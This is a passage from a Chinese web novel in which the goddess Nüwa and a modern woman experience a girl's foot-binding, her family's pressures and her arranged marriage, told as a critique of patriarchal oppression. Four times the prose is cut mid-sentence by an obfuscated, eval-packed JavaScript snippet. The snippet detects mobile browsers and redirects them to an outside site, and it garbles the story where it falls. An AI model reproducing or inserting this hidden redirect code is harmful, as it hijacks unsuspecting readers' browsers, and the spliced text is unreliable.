前两场直播里,她尚能理解大部分内容,只是在一些细节方面产生诸多感慨。而这场里,每一个画面,每一句话语,都让她觉得荒唐难解之至。 “封建王朝中,越往后面,女性所受束缚越加庞大细致,越为骇人听闻。女娲,虽然我已经问过你两次,现在,我还是想问,这些非人之折磨,你真的要继续观看、同步体验下去吗?” 女娲没有半分犹豫:“要。我与她们不在一个时空当中,只知其痛,却无法亲身解救,也无力分担半分。那么,至少让我与她们同身同心,一同去感受她们的痛。”】 娃娃听到她以后可以出去,高兴地手舞足蹈,却并不知,那一天距离此时有多遥远,更不知,走出这四方之笼后,等待她的并非广阔的世界,而是另一处四方之笼。 笑着笑着,她感觉身上一轻,一个男子将她抱在了肩膀上。 “爹爹!”娃娃甜甜地喊道。 娃娃体内的姜姚有些不习惯。从小到大,父亲从未抱过她一次,此前两场直播的两位父亲也并不怎么关心女儿,从来没有和女儿玩闹过。唯独这个父亲,让她感受到了一点别扭的亲情。 “乖娃娃。”父亲抓了抓她的小脚踝,又看向扶住墙根,挣扎着站起来的母亲,“我就说吧,你给孩子起娲娲这么大的名字,她容易受不起。我改的‘娃娃’多好,这么漂亮乖巧的小姑娘上哪找去,长大了肯定能嫁给好婆家,让我们全家都发达起来。” 【听闻此言,姜姚冷笑一声:“原来,他对女儿之所以如此疼爱,是觉得女儿能给他牟利,是他的‘招商银行’。” 女娲的声音尚且平和:“因利生爱也是人之常情,天然忘我的亲情终归少见,在父亲身上,更为罕见。不过,殊途同归,只要娃娃能够得到切切实实的爱,这爱因何而起,又有何妨呢。”】 娃娃每日在母亲的照料、父亲的宠爱之中快乐地生活。她以为,这样快乐的日子会一直持续下去,直到四岁的一天,母亲拿来了一块长长的浸满了药水的布。 “这是什么?”娃娃好奇地问道。 母亲没有回答,僵硬地笑了笑:“要给娃娃洗脚丫咯。” “好!”娃娃高兴地挥起双臂。 母亲牵着娃娃,扶她坐在小凳子上,脱下她的小袜子,将她的脚放在一只小木桶里。 温热的水泡起来很是舒服,娃娃摆动着身子,两脚在水中不停晃荡,脚趾欢快地屈起又伸平。 母亲将娃娃的两只小胖脚抬起来,仔细擦干了每一滴水珠,又抹上了许多像是面粉一样的粉末。 一滴不知来自何处的水落入了木桶中,发出轻微的滴答声。娃娃抬起头来,四处寻找这滴水来自何方,却只见母亲头顶的发髻。 “娘……” 刚说出一个字,一阵剧痛自娃娃脚上传来。她低头一看,母亲双手死死握着她稚嫩的脚趾,狠狠地将它们向下掰,与脚心掰到了一起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231374|197625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “啊啊啊————”娃娃的惨叫声响彻了院落,与院外男孩们嬉笑跑跳的声音交织在了一起。 “娘,不要,不要啊!!” 娃娃的哭喊没有让母亲手软半分,她迅速将一旁的裹脚布缠在了娃娃双足上,死死裹住被掰断重叠的断足。 娃娃痛得本能去掰母亲的手,可她一个孩童,力气如何能与大人抗衡。母亲平常总是牵着她的柔软的双手,此刻却如同两只铁钳一般,用尽全力拽着布头,在娃娃的断足上打上死结。 娃娃自重重泪幕中,望见母亲的脸因发狠用力而狰狞扭曲,成了世间最为恐怖之物。她怎么也想不明白,上一刻还照顾她、爱着她的母亲,为什么,这一刻会变成如此狠厉的恶魔。 一定是她做错了什么,才惹得母亲如此生气。 一定是。 她哭着求饶:“娘,娃娃不敢了,再也不敢了!” 母亲一言不发地将裹脚布缠紧,将娃娃抱起,放在了床上。 娃娃立即伸手要解裹脚布,母亲却是紧紧抓住她的双手,不让她碰到自己的脚。 娃娃生生受着这要让人发疯的疼痛,耳边似乎能够听见骨头一分一寸断裂的声音。 “为什么,娘,为什么?” 这一句问话,娃娃不眠不休地重复了一整夜。只在她痛昏过去的那一刻,才得到了母亲的一句回应:“我都是为了你好。” 【同步忍受痛苦的姜姚攥紧了拳头,将指甲深深嵌入掌心之中。 “母亲的脚,就是这样形成的吗?”女娲如死水一般的声音响起。 “是。”姜姚无力地答道。 “为何?” “最初,是有人说女人脚小好看。很快,男性广泛追捧起缠小脚的女子来。发展到最后,不缠足的女性根本嫁不出去。” 女娲眉头紧锁:“嫁不出去便嫁不出去,何苦要如此伤害自己?” 姜姚摇了摇头:“这时,女性所受压迫达到了顶峰。她们无法独立工作,只能依附于男性,未嫁从父,出嫁从夫。没有一户人家会允许自己女儿不嫁人。” “可是,难道没有人考虑过,自己女儿的脚被缠成这样,嫁出去之后,若是被丈夫抛弃,或者遭遇灾难,她们根本活不下去。” “这并不在他们的考虑范围之内。有句俗语,嫁出去的女儿,泼出去的水。父母与女儿的缘分,仅止于出嫁之时。” 女娲愣住了:“父系社会对于女性的压迫竟然如此严密,织成了一个无微不至的罗网,让女性无处可脱。”】 一连七天,裹脚布都紧紧缠在娃娃脚上,只有片刻的时间能解下来。可这片刻的喘息时间,却无一不是用来为下一次的裹紧助力。一次又一次,娃娃脚上的布越缠越紧,越勒越痛。 女娲与姜姚同步感受着娃娃的痛苦。 【“好痛。”姜姚起初还能够忍痛做出评价,可随着疼痛的一次次加剧,她所有的精力都被忍受疼痛而夺走,再也分不出一点余力去旁观。 “我知道,我也很痛。”女娲的声音也因疼痛而变得有些不稳,“可是,娃娃比我们更痛,她甚至根本就没有人可以倾诉。” 姜姚感受着娃娃胸中撕裂的绝望:“是啊,我们只不过是一时旁观体验,可这些疼痛,娃娃是在用一生承受。”】 此时,娃娃与她体内的女娲和姜姚都以为,用布缠足,便是她们要受的最大的苦。却没想到,这是她从今往后最轻松的时刻。 8. 封建 一个月后,母亲拿着一只尖尖的绣花鞋,看向躺在床上,脸上泪痕已经干涸,脚上鲜血却仍在暗渗的娃娃:“第一阶段‘试紧’我们已经顺利度过,可以进入第二阶段‘裹尖’了。接下来,我们开始走莲步。” 娃娃冷笑一声:“顺利?娘,我的脚断了,永远都好不了了,这叫顺利?” 长久疼痛的折磨下,娃娃性情变了。她已经明白,不管是求饶,还是认错,全都没有用,什么都无法挽回她原本健康的双脚。 母亲垂下眼睛:“娘都是为了你好,所有女人都是这么过来的,娘小时候也是。等熬过这几年,你的脚变得又小又瘦又弓,你嫁到好人家,就再也不用这么疼了。起来走路吧,娃娃。” 娃娃依旧躺在床上,眼睛看向床顶帷帐,没有理会母亲。 “起来,娃娃。” 娃娃打定主意不搭理母亲。 母亲一声声催促着,声音越来越急促。 突然,一道利风刮过,母亲手上那双尖尖的绣花鞋被狠狠地甩到了娃娃脸上。一股火辣辣的疼痛自脸上生起,娃娃的脸很快红肿成一片。 这是母亲第一次打人。娃娃吓得连哭都忘记了,瞪大眼睛,惊恐地看着陌生的母亲。 母亲厉声道:“不起来走路,我就一直打!” 说着,她举起了另一只鞋,又打到了娃娃另半张脸上。正要打第三下时,娃娃哭着掀开被子,如同被利鞭狠笞的马一般跳下了床:“我走,我走!” 双脚刚刚沾到地面,脚底便传来了钻心的疼痛,娃娃双腿根本站不稳,扑通软倒在了地上。 “自己站起来。” 娃娃抬头,咬牙看向居高临下,神色漠然的母亲。母亲同样看着她。 姜姚似乎能够看见,她们每多对视一刻,彼此间的母女感情就少了一分。她们对视了许久,久到消解了前四年来所有的母女之情。 这份感情的消解,母女二人均能感受得到。于是,母亲复又举起了绣花鞋,作势要向着娃娃脸上打去。娃娃则看了母亲一眼,用手扶着床边,慢慢地站了起来。 脚沾到地面上,又是一股触目惊心的疼痛。一步一步,娃娃脚掌断裂处被布条一下下摩擦,最下方的脚趾承受了全身的重量,几欲寸断。 “腿要并起来,脚尖向前,不准外八,觉得脚疼,就把重心放在屁股上,一摇一摆地走路,这样你未来的夫家才喜欢。” 娃娃怕再被打,只能按照母亲的教导,摆出这样的走路姿势来。 “沿着墙走满三个圈,我们就休息一下。” 娃娃看到了希望,忍着钻心之痛,继续向前行进。终于,第三个圈快要走到最后,娃娃心下一喜,不料,一个疏忽,她没有稳住身体,重重摔在了地上。 母亲急忙过来搀扶她。 娃娃心中一酸,母亲心中终归是有她的。这样一想,浑身的酸痛便不再是那样难耐,她支撑着从地上站了起来。 “没走完,重来。”母亲的声音冰冷机械,宛如行刑令。 明明母亲正在小心地搀扶着娃娃,如同温柔的神明一般,可她口中吐出的话语,却让娃娃恍惚觉得,母亲变成了披着人皮的恶魔。 在母亲的胁迫下,娃娃别无选择,只得迈开了脚步。第一次走时的痛苦与劳累尽数堆积在她身上,娃娃用尽此生最大的意志力,仍在刚刚走到第三圈时,体力不支,摔倒在了地上。 “没走完,重来。”母亲的声音又响了起来,如同催命符。 【“简直是虐待儿童,令人发指!”姜姚恨不得冲进几百年前的这个时刻,将娃娃带出来。 女娲泪流不止:“如此酷刑,仅仅是因‘嫁出去’这一个理由,就能够一代代传承下去,还能让受害的女性成为施刑的刽子手。女性的处境,竟沦陷至此。”】 娃娃在母亲严厉的督促之下,走了一圈又一圈,裹脚布上渗出的鲜血越来越多。 【“女娲,我痛,我好痛啊!” 姜姚第一次忍不住向女娲喊痛。此前,在九娲身上历经生育时,在娲娲身上遭遇砍刀时,姜姚都没有喊出来。这次,她却忍不住了。 缠足之痛虽不及生育之痛剧烈,不及砍刺之痛锐利,可它绵密漫长,永无止期,还会骨断筋摧,让人即使挨过去了,也永远回不到正常的人生。 当疼痛达到了一个极致时,愤怒、同情、悲伤……所有其他的情绪都不复存在,人的全部感官,都被疼痛席卷夺走。 女娲拉住姜姚的手:“姜姚,实在受不住,我们便终止这场直播吧。” “不!”姜姚坚定道,“与娃娃相比,与这段历史时期亿万女性相比,我所受之苦,根本不值一提。”】 娃娃走到第七次,只走了半圈,便痛昏了过去。 姜姚从来不知道,原来昏迷也可以成为一种解脱。 娃娃从一层又一层的噩梦中醒来时,痛觉比知觉早先一步回归她的身体。裹脚布仍绑在她的脚上,一层又一层,像是那些梦境在现实中的延伸。 母亲正守在床前,眼中满是焦急。见娃娃醒来,母亲一把抱住她,喜极而泣,眼泪滴到娃娃脸上,与娃娃自己的混到了一起。 娃娃哀求道:“娘,我痛,我的脚好像在着火一样。能不能解下我的裹脚布,哪怕一会儿也行。” 母亲放下娃娃,含着眼泪,坚定地摇摇头:“没有一双小脚,你嫁不出去,等我和你爹老了,你会活活饿死的。” 娃娃自知根本无法逃脱这一切,万念俱灰,脱力地倒在床上。 母亲摸了摸娃娃的额头,痛苦地说道:“你是娘身上掉下来的肉,母女连心,裹脚布缠在你身上,疼在娘心里。” 娃娃面无表情地盯着床,眼睛一眨不眨。 母亲继续道:“你出生时,我和你爹都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231375|197625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很高兴。别人家生了女儿,都是愁眉苦脸,有的甚至一生下来就把女儿丢进了子孙桶。可是,我和你爹不管男孩女孩一样喜欢。我还给你取名,叫娲娲,想让你像传说中的女娲娘娘一样,嫁个好人家,生很多小孩。你爹怪我,说给孩子起这么大的名字,孩子容易受不起,给你改了名字,叫娃娃。” 【“无论何时,你都是女性心中的向往。”姜姚对女娲道。 女娲叹了一口气:“能成为后世女性的向往,我甚觉荣幸。遗憾的是,女娲这个符号,从部落首领逐渐刻板化,成了一个生育符号。”】 娃娃还是没有任何反应,母亲自顾自说道:“从小要用裹脚布把骨头掰断,长大要一次次在鬼门关打转,千百来年,女人都是这么过来的,这就是我们女人的命。” 【“这不是我们女人的命。”姜姚道。 “这种对于我们来说无比荒谬之事,却被母亲认作是命。这个时候的女性,从出生起就被父系社会的条条框框裹住了双足与双眼,只能一辈辈浑浑噩噩地承受这被强加的一切。”女娲说道。】 娃娃始终沉默不语。 母亲叹了一口气:“等你当了娘,就了解我的苦心了。” 母亲走后,娃娃仍是沉默,许久之后,才喃喃自语:“为什么,我不是男孩,要生做一个女孩呢?” 【姜姚道:“我曾经也有过这个想法。在我与村里一群小孩一起爬树滚泥坑,大人们只斥责我们几个女孩不要脸,却从不对男孩说同样的话时,在我放在书包里的卫生巾被霸凌我的男生扔到地上,全班哄堂大笑时,在我报考的警校录取了分数比我低得多的男生而我却落榜时,我都有过这个想法。” 女娲静静地听完,只问了一句:“现在呢?” 姜姚一愣,随即笑了笑:“已经许久没有过这个想法了。” 女娲道:“从前你会这样想,是因为那密不透风的环境,因为那荒谬不堪的观念。只要能够识破这些谎言,你便再也不会为自己的身份感到难堪了。” “只不过,”她话锋一转,“娃娃就不同了,她的生存环境要残酷得多。通过从小开始给女性缠足,这个世界在告诉每一位女性,她的存在即是卑劣,她生来就低另一个性别一等,她只有通过伤害自己,才能在这个世界上存活下去。在这种环境下成长起来的女性,恐怕绝大部分会成为厌女大军中的一员。”】 从这天起,娃娃再也没有开口求过母亲。而那看起来疼爱她的父亲,始终没有来看她一眼。 烧刚刚退了些,母亲便马不停蹄地拉着娃娃继续缠足。娃娃,姜姚,女娲,三个来自不同时空的女子,在这时空交汇的时刻,忍受着施加在她们身上的同一种痛。 人体之所以会产生疼痛感,是想要提醒主人,身体出了问题,需要采取措施。 可是,如果这个问题是人为形成的,决定权并不在主人手里呢? 9. 封建 等到娃娃日渐学会与疼痛共处之后,原本对她而言如同灭顶的断骨之痛,她竟然渐渐习惯了起来。 习惯之后,等待她的,是更大的痛苦。她脚上血液凝滞,脚趾坏死,生起了大大小小的脓疮与鸡眼,挤在一起,让她的脚变得臭不可闻。 她不敢看,也不愿看自己的脚,直到母亲发现,才给她挑了鸡眼。 母亲习以为常地说道:“鸡眼挑破了就好了,浓疮就等它慢慢长,烂完了就行了,反正脚指头本来就是女人身上多长出来的部分。我这回帮你挑了,以后你还是得自己挑,疮长在你身上,你自己最知道哪里疼。” “我哪里都疼。”娃娃有气无力地说道。 母亲无言以对,默默地在娃娃的裹脚布里放上了好几个香包:“你老抱怨爹爹不来看你,你看,这就是爹爹送你的。他说,莲花一样的小脚,也要像莲花一样散发出香味才行。” 娃娃任由母亲动作,冷冷道:“莲花可不会发出恶臭。” 【姜姚也气道:“用这些东西自欺欺人,他们还真的以为,人的脚能变成莲花吗?” 女娲摇了摇头:“赞美缠足的人,永远不必受缠足之痛,他们只需将这样的恶意包以糖衣,降临到女性群体之上,将恶意化作她们的命运。”】 母亲将裹脚布叠好,放到一边:“你现在刚挑破鸡眼,可以将裹脚布解开一会儿,但最多只能解一夜。” 这是第一个没有裹布的夜晚,娃娃做了一个无比美妙的梦。她梦见自己还是小时候的样子,出了家门,正在天地间肆无忌惮地奔跑,快活无比地大笑。 笑着笑着,她醒了。刚自梦中醒来,她犹有三分睡意,连带着与她同心共感的姜姚与女娲都意识昏沉了些。 她睡眼朦胧地低头一看,她的人比小时候长大了不少,可是,她的脚上只有一个光秃秃的脚掌,看不到脚指头。 她颤着双手往下摸了摸,在脚底摸到了自己的脚趾。 “啊!”一瞬间,她清醒了过来。 【“太恐怖了,这是什么中式恐怖啊。”姜姚崩溃道。 “而且是伴随她一生的恐怖。”女娲悲伤道。】 日复一日的裹紧裹瘦,娃娃的脚终于能够穿进那双小小瘦瘦高高的金莲鞋中了。 穿上鞋的那一刻,母亲高兴地捧起了娃娃的脚:“好了,虽然离金莲长度还差着,但是已经能够保证你嫁出去了。” 她解下鞋来,沿着针脚一点一点将线解开,又拿出一根新的线,一针一针缝上。 “这是做什么?”娃娃问道。 “缝紧。刚才那双鞋长五寸,是铁莲鞋,能够穿上这双鞋,只是完成了裹脚的第一个目标。我把鞋再缝紧,成为四寸的银莲鞋,下一步我们要穿进这双鞋,到最后,才能穿最好看的金莲鞋。” 母亲心情很是愉悦,边缝线边哼着歌。娃娃冷眼看着母亲的动作,自那越来越狭窄的绣花鞋中,看到了自己越发逼仄不堪的命运。 等到银莲鞋缝完,母亲将两只鞋叠到一起,压在娃娃的枕头底下:“以后就枕着这个睡觉吧,吉利。还有,娃娃,你得学着自己洗裹脚布了。等你嫁到婆家,娘不能跟着,你不仅要自己洗,还得帮婆婆洗,要是洗不好,可得遭婆家人嫌弃了。” 娃娃木木地点了点头。 母亲又嘱咐道:“记得只能在早上,你爹和你弟弟都没起床的时候洗,拿回自己房间偷偷晒。裹脚布是包女人脚的,是私密之物,不能让男人看到,哪怕是自己家人也不行。” 第二日清晨,娃娃带着换下的裹脚布,扶着墙走到院里,将布放到一边,坐在井沿上,用尽全身的力气往上拉井绳。 “哇,好臭啊。”一声稚嫩的童声响起,娃娃慌忙看过去,双手一松,眼看就要打上来的水桶瞬间掉进了井里。 一个三四岁的小男孩拿起这块长布,放在鼻子下面闻了闻。娃娃认得,他是邻居家的东子,常常来串门。以往每次家里来外人,娃娃都呆在自己的房间里,一步也不迈出去。今天她第一天来院里来洗布,就赶巧撞上了外人。 “给我!”她羞恼道。 东子抓起裹脚布就跑:“我拿去臭你弟弟去!哈哈哈哈哈!” 娃娃心中惶恐至极。母亲说过,裹脚布无论如何不能让外人看去,只要看一眼,她就再也嫁不出去了。 她追着男孩,刚跑了两步,双脚便站不稳,扑通一声摔倒在了地上。她顾不上疼,匆匆忙忙站起来,无奈四周没有墙壁可以扶,她还是摔了下去。情急之下,她一步步爬向墙根,这才扶着墙勉勉强强地站了起来。此时东子已经不见人影,她只能深一脚浅一脚,向着东子离去的方向跑去。 跑到内屋门口时,她听到门内传出一声:“臭死我啦!” 东子手上拿着裹脚布,正哈哈大笑地凑到娃娃弟弟鼻前,弟弟则笑嘻嘻地躲避。在他们一旁,父亲满脸铁青,邻居则一副好事的表情。 娃娃心跳骤然停了一拍。晚了。 她立即就要掉头走,门内的父亲已经看到了她,一把抓起东子手上的裹脚布,狠狠地扔到了她身上:“我造了什么孽,养出你这种大白天发/浪的东西!赶紧把你的脏东西拿走!” 【姜姚冷笑道:“又要用裹脚布裹出他们最爱的金莲,又嫌裹脚布脏。又要让女性伤害自己身体也要取悦他们,又反过来荡/妇羞辱女性,这些男人自己造出来的逻辑,他们自己都圆不上。” “但他们可以将这套彼此矛盾,一碰就散架的逻辑,压到女性身上,压得密不透风。”女娲道。】 娃娃一言不发,扶着门,捡起裹脚布,站起身来,扶墙向外走去。 她听见自己身后,父亲正在对着邻居赔笑:“那个,二哥,家门不幸,让你见笑了,今天的事咱就当没发生过,别说出去啊。” 邻居哈哈大笑:“别人就是知道了又有什么,让娃娃嫁给我家东子,谁也说不了一句闲话。” 父亲讪笑道:“别人知道了,对你家东子也不好嘛。” “我们可不怕,”邻居抱起东子,“我家是男孩,怎么也轮不到我们吃亏,东子,你说是不是。” “是!”东子大声应了一声,趾高气扬地看着娃娃扶墙离去的身影。 【姜姚一阵反胃:“我快吐了。” “畸形的社会,病态的人。”女娲皱着眉头说道,“多少女性自生到死都被这样的畸形包围,直至她们的一生消磨殆尽。”】 日复一日的裹紧、裹瘦、裹弯之中,娃娃的鞋越来越小,眼睛越来越暗淡。 等到她终于能够穿上三寸金莲鞋时,母亲喜不自胜:“太好了,可以给你说一门好亲事了。” “嗯。” 不出几日,母亲就带着媒婆来到了娃娃的房间里。娃娃坐在床上,头上盖着盖头,浑身穿得严严实实,长裙及地,盖住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231376|197625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了脚。 一片黑暗中,娃娃听到了媒婆的声音响起:“验验脚。” 娃娃轻轻抬起裙摆。 “好,是个齐全孩子!”媒婆的声音明显带上了一丝捡到宝的喜悦,“再看看脸。” 娃娃慢慢掀开盖头,看到了媒婆尖瘦的下巴,又看到了她在看清自己的脸时,眼中闪过的那一丝贪婪的光。 “夫人,你家这闺女,长得着实是标致呀。我张媒子见过多少人,比你姑娘更好看的,只见过一个。” 母亲欣然道:“能入张婆的眼便好!” “唉,”媒婆叹了一口气,“说起那个最漂亮的姑娘啊,她长得那叫一个水灵,我老婆子看了都心动。进她房间时,她没盖盖头,我一下子就看到了那张脸,当时就想,天底下的大美人让我见到了。可是,我一验脚,立马就知道姑娘为什么不盖盖头了。” 听到媒婆停顿了一下,母亲尽管并不感兴趣,却还是讨好地接话:“为什么?” “她那双脚,哎哟,我这辈子就没见哪个女人长那么双大脚。她老娘说,姑娘天生个高脚大,什么办法都试过了,竹片夹了,碎瓷也磨了,就是裹不到三寸,仅裹成了个铁莲。” 媒婆轻蔑地一笑:“你说,大家都裹金莲,就她裹铁莲,谁要她?老婆子我跑了几十户人家,嘴皮子都说破了,都是一个回答,脚大的姑娘,天仙也不要。最后,好歹歹给她找了个贱籍户,草草嫁了。” 【“她同样身为女性,迈着小脚,为何如此冷血,半点都不同情自己的同胞?”姜姚甚感气愤。 女娲想了想:“通过压迫其他女性,她便能够暂时置身事外,获得与压迫者同一战线的虚幻快感。只可惜,真正的压迫者,从来不会接纳她。” “我那个时代也有这样的人,有时候,比起那些上位者,我更痛恨这些背刺的自己人。” “无论如何,压迫之源不在她们,不要因此而忘记了背后的罪魁祸首。”女娲道。】 “真是可惜了。”听闻那位姑娘的事,母亲眼中闪过一丝不忍,看到媒婆眼中的不屑,又收起不忍来,转而问道,“张婆,你看,我家娃娃能找个什么亲家?” 张婆思索了一会:“嗯……北村张屠户,南村梁铁匠,东村刘长工,这几家都托我说媒。” “这……张婆,我家娃娃脚小,脸又美,还能给她找个更好的不?”母亲从袖中掏出几小块碎银,递给张婆。 张婆眉开眼笑道:“自然,你家姑娘好看,我看着喜欢,这样吧,城头孔秀才也在给儿子说亲,我过几天去那儿问问。” 母亲惊喜道:“有劳张婆了!” 送走媒婆,父亲急不可耐地来到娃娃的房间:“怎么样怎么样?” 母亲笑得合不拢嘴:“张婆要去问问城头孔秀才家!” 父亲大喜过望:“娃娃要能嫁到孔秀才家里去,可真是咱家祖坟冒青烟了!” 娃娃拿布擦着脸上的脂粉,冷漠地看着父母。 母亲又问:“咱要不要托人打探打探,孔家儿子喜欢什么。” 父亲脸上顿时严肃起来:“咱是女儿家,怎么能去打探男人喜欢什么。那是妓院的窑姐儿干的事,良家妇女可不能干这个。” 娃娃终于开口说道:“可是,所有的女人得在四五岁裹脚,那不正是为了男人喜欢才做的吗?如此一来,全天下的女人都是窑姐,窑姐便是全天下的女人。” 10. 封建 父亲怒道:“你一个女孩家,看看自己都在说些什么混账话。马上要嫁人的人了,我养你到现在,不是让你去婆家丢人现眼的!” 他抡起胳膊,抬掌便要向着娃娃脸上甩。 母亲急忙拦住父亲:“好了好了,说说她也就算了,真要朝脸上打,孔秀才家来人,看到娃娃肿着一张脸可怎么办?” 父亲狠狠瞪了娃娃一眼,转头离去。 等父亲走远了,母亲方才收起劝架时克制的样子,皱起眉头问道:“娃娃,你刚才是怎么了?平常乖巧听话,怎么突然顶撞起爹来了?” 娃娃撇了撇嘴:“反正我很快嫁走,再也见不到父亲,顶撞也就顶这一次了。” 母亲拉起娃娃的手:“你是怪爹不帮你打听孔家儿子喜欢什么吗?” 娃娃嗤了一声:“还能喜欢什么,不就是这双又丑又臭的小脚嘛。” 母亲点点头:“正是,天下所有男人都爱小脚。” “他们喜欢小脚,女人就得缠脚。那他们也都喜欢钱,为什么不给他们一人开一间钱庄?他们都喜欢当皇帝,为什么不给他们一人发一件黄袍?” 【“自然是因为,柿子要挑软的捏。”姜姚隔空回应着娃娃。】 母亲惊慌地上手捂娃娃的嘴:“这种话也就今天在娘面前说说,出去了可不准乱说。这可是杀头的话,我今天能劝下你爹,明天可劝不下你丈夫,你婆婆,更劝不了官府的人。” 娃娃沉默地点了点头。 母亲叹了一口气:“当初我为了给你裹脚,下了多大的力气。现在你马上就要出嫁,不久就要当娘了,还跟个小孩子一样,让我怎么放得下心。” 娃娃抬起头来:“娘,我不想嫁人,不想离开家。” 娘摸了摸娃娃的头:“不想也得想呀,哪个女人不是这么过来的。再说了,你出嫁,不叫离开家,叫回家,叫找到家了。夫家那才是你的家,以后你和公公婆婆才是一家人。” 娃娃疑惑地看着母亲:“我生活了十几年的地方,不是我的家。我从来没有去过,谁都不认识的地方,才是我的家吗?” 母亲点点头:“你看我,前十几年是在你姥姥家长大的。可现在,除了每年过年过去一趟,我还什么时候去过?这里才是我的家呀。” 娃娃心中仍觉不妥,却不知再如何反驳。 【姜姚反驳道:“这是混淆了大家与小家的区别,将男方父母的‘大家’与新人的‘小家’混淆,同时与女方父母的‘大家’对立了起来。” “小家?”女娲第一次听到这个词,反应了一会儿,才道,“我感知到,小家的观念似乎是源于现代。这个时候,是不是还未出现?” “没有。封建时代,女性出嫁从夫,要侍奉夫的父母更甚于自己的父母。当代汉语体系中仍有此类文化的遗留,如‘嫁’之一字,女性说‘嫁出去’,男性则说‘嫁给我’。” 女娲想了想:“我们在第一场直播里就看到,女性自父系社会之初,便陷入了无室无家的境地。好在,你的时代,‘小家’这个词出现了,那便说明,这种状况改善了很多。” 姜姚道:“确实改善了不少。但其实,时至今日,即使大多数人不随任何一方父母居住,但在随谁姓、回谁家过年这类问题上,大部分人仍认为,女性归从于男性,是天经地义的事。” “我们仍有很长的路要走。”女娲道。】 几天之后,张媒婆带着孔秀才家里的女亲戚来娃娃家里,验脚验脸一套程序走下来后,那个眼朝天看的亲戚才微微点了点头。 “太好了,太好了!一切顺利。”送走来人后,娃娃母亲高兴得不住拊掌。 “你高兴得都要跳起来了。”父亲笑道。 母亲的笑容一时间有些凝固。 父亲这才反应过来,低头促狭地看了一眼母亲的小脚:“我忘了,对不住啊,哈哈哈哈。” 母亲勉强地笑了笑,与娃娃对视了一下,又都互相移开了眼睛。 【“这个时代对于普通女性的羞辱,真是深入到了方方面面。”女娲愤愤道。 姜姚也愤怒不已:“当代曾有一位残疾作家在书中写到,他和母亲对于“跑”和“踩”一类的字眼儿十分敏感[1]。而在这个时代,女性绝大多数被迫残疾,还要时时刻刻承受那些生‘对’了性别之人的嘲笑。”】 一系列复杂忙碌的婚前准备后,娃娃来到了出嫁的那一天。与世间所有女子一般,她在这一天被许多人引导着,梳洗打扮,泪别父母,由未曾见过一面的男子带着离家。 铺天盖地的喜与满眼满目的红似是为迎接她而准备,却又将她隔绝在了一袭鲜红胜血的盖头当中,将她同化成了一件与其他物品并无不同的喜庆之物。 随后,她被领回家门,跨火盆,吃生饺子,等新郎,闹新娘。这些人人遵循,世世传承的习俗,其深层含义对新娘来说,大多并不怎么友好。旁观体验的姜姚每每皱起眉头,但置身其中的娃娃却未觉任何不适。 这些习俗无论有何含义,对娃娃来说,不过只是形式。比这更深重得多的实质,她都得照单全收,这些形式,又何足挂齿。 洞房之时,娃娃看着全然陌生的丈夫好奇地捧起她的小脚,不住地把玩嗅闻。她心中泛起一阵屈辱与恶心,果如母亲所说,世上男人都爱小脚。 “夫君,”娃娃犹豫了很久,还是开了口,“我能问问你,为什么这样喜欢小脚吗?” 丈夫欣喜道:“好看,好闻,我就喜欢!” “好……闻?你不觉得难闻吗?” “谁说的,哪里难闻。你为了我,把生来自己长的一双脚裹成了这样尖尖小小的模样,我欢喜得很,怎么会觉得难闻。” 【“这才是实话吧。”女娲道,“他眼中的美,不过是觉得,女性掰断骨头取悦他的样子,令他无比愉悦。” “他喜欢的哪是小脚,不过是爱极了他一个扔在同性群体中捞都捞不出来的普通人,却能够肆意睥睨俯视全天下异性的那种快感,他对小脚的迷恋,根本就是压迫者对实施压迫之后所得战利品的珍视。这个孔姓男子既以书香世家自居,恐怕也能从古代文学中,能够汲取到不少令人作呕的共鸣。” “文学之中,盛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231377|197625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行这种畸形情绪吗?”女娲问道。 